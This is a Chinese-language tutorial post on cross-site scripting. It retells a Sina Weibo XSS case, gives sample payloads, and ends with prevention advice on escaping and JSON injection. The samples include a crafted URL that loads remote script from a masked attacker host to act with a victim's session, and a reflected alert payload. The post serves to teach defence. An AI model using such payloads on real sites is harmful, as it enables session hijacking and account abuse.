XSS跨站请求攻击

2024-03-01 14:09:36 浏览数 (2)

一、前言

XSS 即 Cross Site Script,跨站脚本攻击;缩写应该是 CSS,但为了和 CSS(Cascading Style Sheet,层叠样式表) 有所区分,因而改叫 XSS

也就通过利用网站漏洞,通过网址,输入框等方式构造恶意脚本( java script) ,用脚本进行攻击的一种方式。

二、概述

案例

代码语言:javascript复制
新浪微博 XSS 漏洞

1) 攻击者发现漏洞:发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
2) 于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
复制代码<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
3) 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作

(1) 发现漏洞,比如:

  • 网址中的链接可以注入脚本 比如 某网站搜索页面的网址是:http://xxx/search?keyword=搜索词。这个页面打开后会将“搜索词” 相显示在页面中。那么,构造一个
代码语言:javascript复制
http://xxx/search?keyword="><script>alert('XSS');</script> 

这样的网址,让用户点击,就可以进行攻击

  • 文本输入框
  • 富文本编辑器,比如,发帖,评论。通过在帖子,评论中注入 script脚本, 当查看评论时触发脚本,自动发送cookie信息等。
  • 将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

三、如何预防xss攻击

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢? 答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。 那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?问题是:在提交阶段,我们并不确定内容要输出到哪里,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

通过“防止浏览器执行恶意代码”来防范 XSS

  • 防止 HTML 中出现注入。显示“来自用户输入的内容时”,要进行格式化转义
  • 防止 JavaScript 执行时,执行恶意代码。比如 发评论的内容不能有脚本本执行。
  • json 中也能被注入脚本。

JSON 也是不安全的:当 JSON 中包含 U 2028 或 U 2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

0 人点赞